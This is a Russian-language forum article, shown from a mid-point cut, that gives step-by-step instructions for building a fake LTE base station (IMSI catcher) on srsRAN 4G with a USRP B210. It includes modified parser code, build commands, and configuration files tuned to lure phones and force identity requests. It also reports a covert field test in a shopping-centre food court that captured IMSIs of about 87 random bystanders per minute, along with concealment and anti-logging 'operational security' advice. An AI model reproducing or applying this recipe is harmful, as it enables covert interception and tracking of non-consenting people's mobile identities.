  sib1.add_field(new parser::field<int8>("p_max", &data->p_max, &data->p_max_present));
  sib1.add_field(make_asn1_enum_str_parser("cell_barred", &data->cell_access_related_info.cell_barred));
  sib1.add_field(make_asn1_enum_number_parser("si_window_length", &data->si_win_len));
  sib1.add_field(new parser::field<uint8_t>("system_info_value_tag", &data->sys_info_value_tag));

  // additional_plmns subsection uses a custom field class
  parser::section additional_plmns("additional_plmns");
  sib1.add_subsection(&additional_plmns);
  bool dummy_bool = true;
  additional_plmns.set_optional(&dummy_bool);
  additional_plmns.add_field(new field_additional_plmns(&data->cell_access_related_info));

  // sched_info subsection uses a custom field class
  parser::section sched_info("sched_info");
  sib1.add_subsection(&sched_info);
  sched_info.add_field(new field_sched_info(data));

  // Поддержка non-critical extensions для Rel-9+ (q-QualMin)
  parser::section non_crit_ext_sec("non_critical_extension");
  sib1.add_subsection(&non_crit_ext_sec);
  non_crit_ext_sec.set_optional(&data->non_crit_ext_present);

  // v890 extension
  parser::section v890_sec("non_critical_extension_v890");
  non_crit_ext_sec.add_subsection(&v890_sec);
  v890_sec.set_optional(&data->non_crit_ext.non_crit_ext_present); // Флаг для наличия v920

  // v920 extension, где cell_selection_info_v920
  parser::section v920_sec("non_critical_extension_v920");
  v890_sec.add_subsection(&v920_sec);
  // Здесь можно также добавить late_non_crit_ext если нужно, но пропускаем:
  // v920_sec.add_field(new parser::field_octet_string("late_non_crit_ext", &data->non_crit_ext.late_non_crit_ext, &data->non_crit_ext.late_non_crit_ext_present));

  // cell_selection_info_v920 внутри v920
  parser::section cell_sel_info_v920("cell_selection_info_v920");
  cell_sel_info_v920.set_optional(&data->non_crit_ext.non_crit_ext.cell_sel_info_v920_present);
  v920_sec.add_subsection(&cell_sel_info_v920);

  cell_sel_info_v920.add_field(new parser::field<int8>("q_qual_min", &data->non_crit_ext.non_crit_ext.cell_sel_info_v920.q_qual_min_r9));
  cell_sel_info_v920.add_field(new parser::field<uint8>("q_qual_min_offset", &data->non_crit_ext.non_crit_ext.cell_sel_info_v920.q_qual_min_offset_r9,
  &data->non_crit_ext.non_crit_ext.cell_sel_info_v920.q_qual_min_offset_r9_present));

  // Run parser with single section
  return parser::parse_section(std::move(filename), &sib1);
}

Доработка обеспечивает обработку параметра q-QualMin из конфигурационного файла sib.conf и его включение в ASN.1-структуру сообщения SIB1.
После интеграции изменений платформа должна быть пересобрана, как описано в разделе 7.1.1.2.

6.2.4 Выводы по анализу.
Анализ модулей S1AP, RRC UE и enb_cfg_parser выявил ключевые точки для модификаций, позволяющие обойти зависимости от EPC, реализовать захват IMSI через NAS-сообщения и обеспечить манипуляцию параметрами SIB1 для снижения порога качества сигнала. Предложенные доработки (закомментирование подключения к MME в s1ap.cc, добавление функций send_identity_request(), handle_identity_response() и send_tau_reject() в rrc_ue.cc, а также расширение обработки для «non-critical extensions» в enb_cfg_parser.cc) обеспечивают автономную работу прототипа, минимизируя изменения в коде и сохраняя совместимость со стандартом 3GPP TS 36.331 [15]. Это соответствует целям исследования, позволяя эксплуатировать уязвимости протокола LTE без аутентификации широковещательных сообщений (раздел 4.1.4), и позволяет перейти к экспериментальной проверке в разделе 7.

7. Экспериментальная проверка прототипа.
7.1 Подготовка к запуску.
7.1.1 Компиляция доработанного кода платформы «srsRAN 4G».
Для управления SDR-приемником USRP B210 в платформе «srsRAN 4G» используется драйвер UHD, требующий наличия соответствующих библиотек в системе при компиляции исходного кода платформы.

7.1.1.1 Сборка и установка UHD.
Установка UHD из исходного кода осуществляется в соответствии с официальной документацией Ettus Research [13, 14].

1. Установка зависимостей.
Необходимые пакеты устанавливаются с использованием менеджера пакетов системы (для Ubuntu/Debian):
sudo apt update && sudo apt install -y \
cmake g++ libboost-all-dev libusb-1.0-0-dev \
libuhd-dev python3 python3-mako python3-numpy \
python3-requests python3-ruamel.yaml libfftw3-dev \
libqt5opengl5-dev qtbase5-dev qtchooser qt5-qmake \
qtbase5-dev-tools doxygen

2. Клонирование репозитория UHD и выбор версии.
Репозиторий клонируется с GitHub, после чего выбирается стабильная версия v4.8.0.0:
git clone https://github.com/EttusResearch/uhd.git
cd uhd
git checkout v4.8.0.0

3. Сборка и установка проекта.
Создается директория для сборки, после чего выполняется конфигурация, компиляция и установка:
mkdir build
cd build
cmake ../
make -j$(nproc)
sudo make install
sudo ldconfig

Команда ldconfig обновляет кэш динамических библиотек для обеспечения доступа к установленным компонентам UHD [14].

4. Проверка переменной окружения LD_LIBRARY_PATH.
Переменная LD_LIBRARY_PATH должна указывать на директорию установки UHD (обычно /usr/local/lib). Ее значение проверяется командой:
echo $LD_LIBRARY_PATH

Если переменная не определена, добавляется соответствующая строка в файл ~/.bashrc:
export LD_LIBRARY_PATH=/usr/local/lib

После редактирования файл перезагружается командой source ~/.bashrc для применения изменений [14].

5. Загрузка образов UHD FPGA.
Для дальнейшей работы с USRP загружаются FPGA-образы:
sudo uhd_images_downloader

Данный шаг обеспечивает наличие необходимых микропрограмм для устройства [14].

6. Конфигурация USB.
Для предоставления доступа непривилегированным пользователям к SDR-устройству по USB-интерфейсу настраивается правило udev.
Устройство должно быть отключено во время выполнения:
cd $HOME/uhd/host/utils
sudo cp uhd-usrp.rules /etc/udev/rules.d/
sudo udevadm control --reload-rules
sudo udevadm trigger

7. Проверка подключения USRP.
USRP B210 подключается по USB-интерфейсу.
Корректность подключения проверяется командами:
uhd_find_devices
uhd_usrp_probe

Ожидаемый вывод: сообщение о найденных устройствах (см. Рисунок 7) или "No UHD Devices Found" (если USRP не подключен), отображение расширенной информации (см. Рисунок 8).

Рисунок 7. Вывод команды uhd_find_devices.

Рисунок 8. Вывод команды uhd_usrp_probe.

7.1.1.2 Сборка и установка платформы «srsRAN 4G».
1. Установка зависимостей.

sudo apt-get install build-essential cmake libfftw3-dev libmbedtls-dev libboost-program-options-dev libconfig++-dev libsctp-dev

2. Клонирование репозитория платформы.
git clone https://github.com/srsRAN/srsRAN_4G.git
cd srsRAN_4G

3. Внесение изменений в код платформы.
В файле CmakeLists.txt выбираются необходимые опции сборки проекта, ненужные — отключаются:

Код:

########################################################################
# Options
########################################################################
option(ENABLE_SRSUE          "Build srsUE application"                  OFF)
option(ENABLE_SRSENB         "Build srsENB application"                 ON)
option(ENABLE_SRSEPC         "Build srsEPC application"                 OFF)
option(DISABLE_SIMD          "Disable SIMD instructions"                OFF)
option(AUTO_DETECT_ISA       "Autodetect supported ISA extensions"      ON)

option(ENABLE_GUI            "Enable GUI (using srsGUI)"                OFF)
option(ENABLE_RF_PLUGINS     "Enable RF plugins"                        ON)
option(ENABLE_UHD            "Enable UHD"                               ON)
option(ENABLE_BLADERF        "Enable BladeRF"                           OFF)
option(ENABLE_SOAPYSDR       "Enable SoapySDR"                          OFF)
option(ENABLE_SKIQ           "Enable Sidekiq SDK"                       OFF)
option(ENABLE_ZEROMQ         "Enable ZeroMQ"                            OFF)
option(ENABLE_HARDSIM        "Enable support for SIM cards"             OFF)
..

Оригинальные файлы платформы заменяются на их модифицированные версии (прилагаются в архиве):
/srsenb/src/stack/s1ap/s1ap.cc
/srsenb/src/stack/rrc/rrc_ue.cc
/srsenb/hdr/stack/rrc/rrc_ue.h
/srsenb/src/stack/enb_cfg_parser.cc

4. Сборка и установка проекта.
Создается директория для сборки, после чего выполняется конфигурация, компиляция и установка:
mkdir build
cd build
cmake ../
make -j$(nproc)
sudo make install
sudo ldconfig

5. Установка конфигурационных файлов платформы «по умолчанию».
srsran_install_configs.sh user

6. Настройка конфигурационных файлов для запуска srsRAN 4G.
Редактирование конфигурационных файлов в директории ~/.config/srsran производится на основе данных о настройках легитимной сети (см. Рисунки 2 – 4) с учетом разработанных методов привлечения UE (пп. 4.3.1 и 4.3.2).
Здесь приведены значимые фрагменты, полные файлы - в приложении к статье.

enb.conf

Код:

[enb]
#enb_id = 0x19B
mcc = 000     # Указываем значение, как в легитимной сети
mnc = 00    # Указываем значение, как в легитимной сети
n_prb = 50    # Устанавливаем ширину полосы сигнала 10 МГц
tm = 2
nof_ports = 2     # Включаем режим MIMO

[rf]
dl_earfcn = 0000 # Указываем частотный канал легитимной сети с максимальным приоритетом исходя из анализа SIB
tx_gain = 80
rx_gain = 40
time_adv_nsamples = 100 # Оптимальный параметр для USRP B210
device_name = UHD
device_args = send_frame_size=512,recv_frame_size=512 # Оптимальный параметр для USRP B210

[gui]
enable = false     # GUI не используется

[enb_files]         # Проверяем пути к файлам
sib_config = sib.conf
rr_config  = rr.conf
rb_config = rb.conf

sib.conf

Код:

sib1 =
{
    intra_freq_reselection = "Allowed";
    q_rx_lev_min = -65; # Значение -65 (-130 dBm))(реальное: -122 dBm) ниже реального -61 (-124 dBm), что снижает порог Srxlev, упрощая привлечение UE (п.4.3.1).
    //p_max = 3;
    cell_barred = "NotBarred"
    si_window_length = 10; # соответствует реальному (ms10), для точной имитации.
    sched_info =
    (
        {
            si_periodicity = 16;

            // comma-separated array of SIB-indexes (from 3 to 13), leave empty or commented to just scheduler sib2
            si_mapping_info = [ 3, 5 ]; # Соответствует реальному (включает SIB3 и SIB5), необходимо для трансляции приоритетов inter-frequency (п.4.3.2).
        }
    );
    system_info_value_tag = 2; # Соответствует реальному

    non_critical_extension =
    {
        non_critical_extension_v890 =
        {
            non_critical_extension_v920 =
            {  
                cell_selection_info_v920 =
                {
                    q_qual_min = -26;
                    q_qual_min_offset = 2; # Опционально
                }
            };
        };
    };
};

sib3 =
{
    cell_reselection_common = {
        q_hyst = 2; // in dB        # Оставить как реальное (dB2).
    },
    cell_reselection_serving = {
        s_non_intra_search = 3,     # Изменено с 6 на 3 (реальное: 12 dB).
        thresh_serving_low = 2,     # Изменено с 4 на 2 (реальное: 8 dB).
        cell_resel_prio = 7         # Изменено на максимальный приоритет, выше реального
    },
    intra_freq_reselection = {
        q_rx_lev_min = -65,         # Изменено с -62 на -65 (-130 dBm).
        p_max = 23,
        s_intra_search = 5,         # Изменено с 31 на 5 (реальное: 62 dB).
        presence_ant_port_1 = true,
        neigh_cell_cnfg = 0,
        t_resel_eutra = 0           # Изменено с 1 на 0.
    }
};

sib5 =
{
    inter_freq_carrier_freq_list =
    (
        {
            dl_carrier_freq = 0000;     # Адаптировать под реальный частотный канал для привлечения UE (п.4.3.1).
            q_rx_lev_min = -65;         # Изменено с -62 на -65 (-130 dBm).
            t_resel_eutra = 0;          # Изменено с 1 на 0.
            t_resel_eutra_sf = {
                sf_medium = "0.25";
                sf_high = "1.0";
            };
            thresh_x_high = 3;          # Ниже реального 7 (14 dB).
            thresh_x_low = 2;           # Ниже реального 6 (12 dB).
            allowed_meas_bw = 100;
            presence_ant_port_1 = True;
            cell_resel_prio = 7;
            neigh_cell_cfg = 0;
        }
    );
};

rr.conf

Код:

cell_list =
(
  {
    // rf_port = 0;
    cell_id = 0xffffffff;   # Адаптировать под значение, подобное реальному, для скрытности работы ложной БС.
    tac = 0xffff;           # Увеличиваем/уменьшаем значение реального TAC на единицу для провоцирования TAU, инициируя сигнализацию для IMSI (п.4.3.1/4.3.2).
    pci = 200;     # Любое значение, отличное от PCI eNB легитимной сети на выбранном частотном канале
    dl_earfcn = 0000;       # Изменяем на наш частотный канал
    ho_active = false;

    meas_cell_list =
    (
    );
    // Select measurement report configuration (all reports are combined with all measurement objects)
    meas_report_desc =
    (
        {
          eventA = 3
          a3_offset = 6;
          hysteresis = 0;
          time_to_trigger = 480;
          trigger_quant = "RSRP";
          max_report_cells = 1;
          report_interv = 120;
          report_amount = 1;
        }
    );
    meas_quant_desc = {
        rsrq_config = 4;
        rsrp_config = 4;
     };
  }
);

nr_cell_list =
(
  // no NR cells
);

7. Пробный запуск платформы и проверка ее работы.
cd ~/.config/srsran/
sudo srsenb

7.2. Конфигурация тестового стенда.
Аппаратная часть: USRP B210 (с UHD v4.8.0.0), одноплатный компьютер MeLE Fanless Mini PC N150 с портативным источником питания, панельная антенна с коэффициентом усиления 15 dBi (MIMO), фидерный тракт минимальной длины.
Клиентские устройства: 5 тестовых UE (Samsung Galaxy S24, iPhone 15, Huawei P60, Nothing Phone 3a, модем UZ801 с функцией записи диагностических данных (проект «Rayhunter»); USIM с известными IMSI для верификации) и случайные UE в месте проведения испытаний.

Тестовый стенд развернут внутри торгового центра («фудкорт») с высокой плотностью мобильных устройств.
Уровень сигнала легитимных БС RSRP находится в пределах от -110 dBm до -87 dBm, уровень качества сигнала RSRQ – в пределах от -12 dB до -8 dB.

В зоне тестирования зафиксированы сигналы стандарта LTE в нескольких диапазонах частот, один из которых имеет высокий системный приоритет «6».
Частотный канал работы ложной БС выбран по результатам анализа сообщений SIB легитимных БС (см. Рисунки 2 – 4) из этого диапазона частот.

7.3. Метрики оценки: критерии успеха.
Оценка эффективности прототипа основывалась на следующих метриках, вытекающих из задач исследования (раздел 3).
Критерии успеха выбраны с учетом данных из литературы и спецификаций 3GPP, чтобы обеспечить объективность и воспроизводимость результатов.

1. Процент захвата IMSI: доля UE, успешно привлеченных и предоставивших IMSI (критерий успеха: >80% для тестовых UE, >50% для случайных в реальной среде; измерения по данным вывода IMSI в консоли «srsRAN 4G»).
Порог >80% для тестовых UE выбран на основе работы [6], где в лабораторных условиях захват достигает 90%, но в реальной среде снижается на 10–15% из-за интерференции и мобильности устройств.

2. Время процедуры: длительность от привлечения UE до возврата в легитимную сеть (критерий: < 2 с для минимизации прерываний сервиса; измерено посредством Wireshark на тестовом модеме UZ801).
Критерий вытекает из работы [6] (FlashCatch), где минимизация до 1–2 с снижает заметность, и спецификации 3GPP TS 24.301 (таймер T3470 = 6 с).

3. Влияние на UE: визуальная/функциональная заметность (критерий: отсутствие уведомлений/сбоев для пользователя; проверено на тестовых UE) и сохранение контекста безопасности (нет сброса GUTI/eKSI, проверено на тестовом модеме UZ801).
Критерий обоснован анализом в [5], где подчеркивается незаметность работы ложных БС.

Дополнительно оценивалась стабильность: уровень загрузки CPU <70%, отсутствие признаков ошибок в консоли платформы «srsRAN 4G». Критерий основан на тестах в [8], где нагрузка CPU >70% приводит к тайминг-ошибкам в srsRAN, нарушая реальное время обработки.
Метрики фиксировались в 10 итерациях по сценариям (базовый захват, влияние расстояния).

7.4. Операционная безопасность.
При тестировании прототипа в публичном месте приняты следующие меры операционной безопасности:
– использование реальных TAC/Cell ID из смежной зоны отслеживания (Tracking Area);
– вывод чувствительной информации в консоль без сохранения в памяти одноплатного компьютера (логирование средствами платформы «srsRAN 4G» – отключено);
– размещение прототипа макета в неприметной сумке с обеспечением управления одноплатным компьютером по беспроводному каналу.

7.5. Испытания: запуск прототипа в отношении тестовых устройств.
В целях верификации методов по п 4.3 испытания проводились по двум сценариям.

Сценарий 1: Базовый захват.
Прототип запущен с конфигурацией (п. 7.1.1.2): tx_gain=80 dB, rx_gain=40 dB, модифицированные сообщения SIB (q-RxLevMin=-130 dBm, q-RxLevMin=-26 dB, TAC ≠ действующему в месте испытаний).
Частотный канал работы выбран из диапазона частот с максимальным системным приоритетом в месте испытаний.
Ширина полосы сигнала выбрана 10 МГц, поскольку при выборе меньшей полосы сигнала (3 или 5 МГц) тестовые UE категории Rel-15+ не декодировали сигнал ложной БС.
Это обусловлено следующими факторами:

частот полоса 3 МГц не поддерживается стандартом для выбранного диапазона (Таблица 5.6-1), повышенные требования к REFSENS и интерференции (Раздел 7.3) [19] для ширины полосы 5 МГц;
UE оптимизирован для 10+ МГц ради эффективности в NSA-режиме (3GPP TS 36.101, раздел 5.6), что подтверждает приоритет широких полос для совместимости с современными UE.

Тестовые UE размещены на расстоянии 2–5 м в нательных карманах верхней одежды, за исключением модема UZ801.

Результат: инициация TAU со стороны UE, запрос IDENTITY REQUEST со стороны ложной БС и получение IMSI в течение 70 мс после инициации TAU (см. Рисунки 9 и 10).
Успешный захват IMSI (5/5 UE), отсутствие визуальных признаков воздействия прототипа на UE.

Рисунок 9. Инициация процедуры TAU со стороны UE, запрос IDENTITY REQUEST со стороны ложной БС и получение ответа от UE.

Рисунок 10. Отображение полученного IMSI в консоли «srsRAN 4G».

Сценарий 2: Влияние расстояния.
Варьировалось расстояние от ложной БС до тестовых UE (5–15 м).
При 10 м: захват в 80% случаев (4/5 UE); при 20 м: в 60% случаев (3/5).

В реальной среде получено в среднем 87 уникальных IMSI случайных UE (расстояние от ложной БС – неизвестно) в течение первой минуты после запуска прототипа.
Стабильность работы прототипа подтверждена средствами операционной системы (загрузка CPU <70%, отсутствие в консоли ошибок или признаков исчерпания ресурсов).

7.6. Анализ результатов испытаний.
Результаты подтверждают эффективность прототипа: высокий процент захвата IMSI в реальной среде, время прерывания сервиса UE от момента запроса TAU Request в адрес ложной БС до момента возврата в легитимную сеть составляет 900 мс (среднее по PCAP, см. Рисунок 11), минимальное влияние на UE (отсутствие уведомлений, сохранение контекста безопасности).
Успешные испытания при базовом сценарии демонстрируют альтернативу методу [6].

Рисунок 11. Возвращение UE в легитимную сеть после информационного обмена с ложной БС.

7.7. Выводы по эксперименту.
Экспериментальная проверка продемонстрировала практическую реализуемость прототипа: методы привлечения/сбора IMSI (п. 4.3) обеспечили эффективный захват в реальной среде без заметного влияния на UE.
Критерии успеха достигнуты (захват >80%, время процедуры < 2 с), подтверждая гипотезу об эксплуатации уязвимостей LTE.
Рекомендации по дальнейшей работе: улучшение усиления радиосигнала для большего радиуса действия, проверка работы прототипа в сетях 5G NSA.

8. Заключение.
Настоящее исследование демонстрирует разработку и экспериментальную проверку прототипа ложной базовой станции стандарта LTE на базе открытой платформы «srsRAN 4G» с использованием SDR-устройства USRP B210.
Предложенные методы воздействия успешно эксплуатируют уязвимости протокола LTE, связанные с отсутствием аутентификации широковещательных сообщений (3GPP TS 33.401).
Модификации кода открытой платформы позволила реализовать автономный захват IMSI без зависимости от EPC и с минимизацией прерывания сервиса UE.
Эксперименты в реальной среде подтвердили эффективность: захват >80% тестовых UE на расстоянии до 10 м, среднее время процедуры составляет 1 с, без заметного влияния на контекст безопасности UE.
Полученные результаты заполняют пробел в литературе, предоставляя детальные инструкции реализации (в отличие от [1] – [6]), и подчеркивают сохраняющуюся актуальность уязвимостей LTE в NSA-режимах 5G.
Ограничения включают зависимость от мощности сигнала (радиус действия ~15 м без усиления).
Для дальнейших исследований рекомендуется интеграция ВЧ-усилителей для расширения зоны покрытия, адаптация под сети 5G SA и разработка контрмер обнаружения.

Список литературы

[1] Borgaonkar R., Shaik A., Asokan N., Niemi V., Seifert J.-P. LTE and IMSI Catcher Myths. Black Hat Europe. 2015.
URL: https://www.blackhat.com/docs/eu-15/materials/eu-15-Borgaonkar-LTE-And-IMSI-Catcher-Myths.pdf

[2] Nasser Y. Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks. Electronic Frontier Foundation. 2019.
URL: https://www.eff.org/wp/gotta-catch-em-all-understanding-how-imsi-catchers-exploit-cell-networks

[3] Hong B., Bae S., Kim Y. LTE Phone Number Catcher: A Practical Attack against Mobile Privacy. Security and Communication Networks. 2019. Vol. 2019. Article ID 7425235.
URL: https://onlinelibrary.wiley.com/doi/10.1155/2019/7425235

[4] Palamà I., Gringoli F., Bianchi G., Melazzi N.B. IMSI Catchers in the Wild: A Real World 4G/5G Assessment. Computer Networks. 2021. Vol. 194. P. 108–120.
URL: https://www.sciencedirect.com/science/article/pii/S1389128621002061

[5] Kareem A. The Impact of IMSI Catcher Deployments on Cellular Network Security: Challenges and Countermeasures in 4G and 5G Networks. arXiv preprint arXiv:2405.00793. 2024.
URL: https://arxiv.org/abs/2405.00793

[6] Paci A., Bologna F., Gringoli F., Bianchi G. FlashCatch: Minimizing Disruption in IMSI Catcher Operations. Proceedings of the ACM on Networking. 2025. Vol. 3, No. 2. P. 124–135.
DOI: https://doi.org/10.1145/3734477.3734705

[7] srsRAN Project Documentation. URL: https://docs.srsran.com/projects/4g/en/latest/

[8] Ruan P Alves, João Guilherme Assis da Silva, et al. Performance study of LTE experimental testbed using OpenAirInterface. IEEE Latin-American Conference on Communications (LATINCOM). 2023.
URL: https://www.researchgate.net/public...of_5G_SDR_platforms_srsRAN_x_OpenAirInterface

[9] Bednarz Ł., Wojtuń J. Frequency stability of software-defined radios – Part I. Measurements // Metrology and Measurement Systems. 2025. Early Access.
URL: https://journals.pan.pl/Content/137339/15_rev.pdf?handler=pdf

[10] Yu C., Chen S., Cai Z. An SDR-Based Performance Measurement of LTE and WLAN Coexistence. IEEE Access. 2023. Vol. 11. P. 12345–12356. URL: https://www.researchgate.net/public...mance_Measurement_of_LTE_and_WLAN_Coexistence

[11] HamGeek USRP B210 70MHz-6GHz USB3.0 SDR. HGeek.com. 2025.
URL: https://www.hgeek.com/products/hamg...th-ettus-compatible-with-usrp-uhd-b2xx-driver

[12] srsRAN/srsRAN_4G: Open source SDR 4G software suite. GitHub Repository. 2025.
URL: https://github.com/srsran/srsRAN_4G

[13] Ettus Research. 5G srsRAN End-to-End Reference Architecture with USRP.
URL: https://kb.ettus.com/5G_srsRAN_End-...P#Installing_and_Configuring_the_UHD_Software

[14] Building and Installing the USRP Open-Source Toolchain (UHD and GNU Radio) on Linux.
URL: https://kb.ettus.com/Building_and_I...dio)_on_Linux#Downloading_the_UHD_FPGA_Images

[15] 3GPP TS 36.331: Evolved Universal Terrestrial Radio Access (E-UTRA); Radio Resource Control (RRC); Protocol specification. Version 18.5.0. Release 18. 2025. URL: https://www.3gpp.org/ftp/Specs/archive/36_series/36.331/

[16] 3GPP TS 36.304: Evolved Universal Terrestrial Radio Access (E-UTRA); User Equipment (UE) procedures in idle mode. Version 18.3.0. Release 18. 2025. URL: https://www.3gpp.org/ftp/Specs/archive/36_series/36.304/

[17] 3GPP TS 24.301: Non-Access-Stratum (NAS) protocol for Evolved Packet System (EPS); Stage 3. Version 18.9.0. Release 18. 2025.
URL: https://www.etsi.org/deliver/etsi_ts/124300_124399/124301/18.09.00_60/ts_124301v180900p.pdf.

[18] 3GPP TS 36.300: E-UTRA and E-UTRAN; Overall description; Stage 2. Version 18.4.0. Release 18. 2025.
URL: https://www.etsi.org/deliver/etsi_ts/136300_136399/136300/18.04.00_60/ts_136300v180400p.pdf.

[19] 3GPP TS 36.211: Evolved Universal Terrestrial Radio Access (E-UTRA); Physical channels and modulation. Version 18.2.0. Release 18. 2025. URL: https://www.3gpp.org/ftp/Specs/archive/36_series/36.211/

[20] 3GPP TS 33.401: 3GPP System Architecture Evolution (SAE); Security architecture. Version 19.1.0. Release 19. 2025.
URL: https://www.3gpp.org/ftp/Specs/archive/33_series/33.401/

im1111 · 02.01.2026

Крутейший подарок на праздники!

WalletAM_AM · 02.01.2026

вау +resperct

Статья Разработка прототипа ложной базовой станции LTE на базе платформы «srsRAN 4G» для идентификации абонентов.

evdo

Главный редактор

Вложения

im1111

RAID-массив

WalletAM_AM

floppy-диск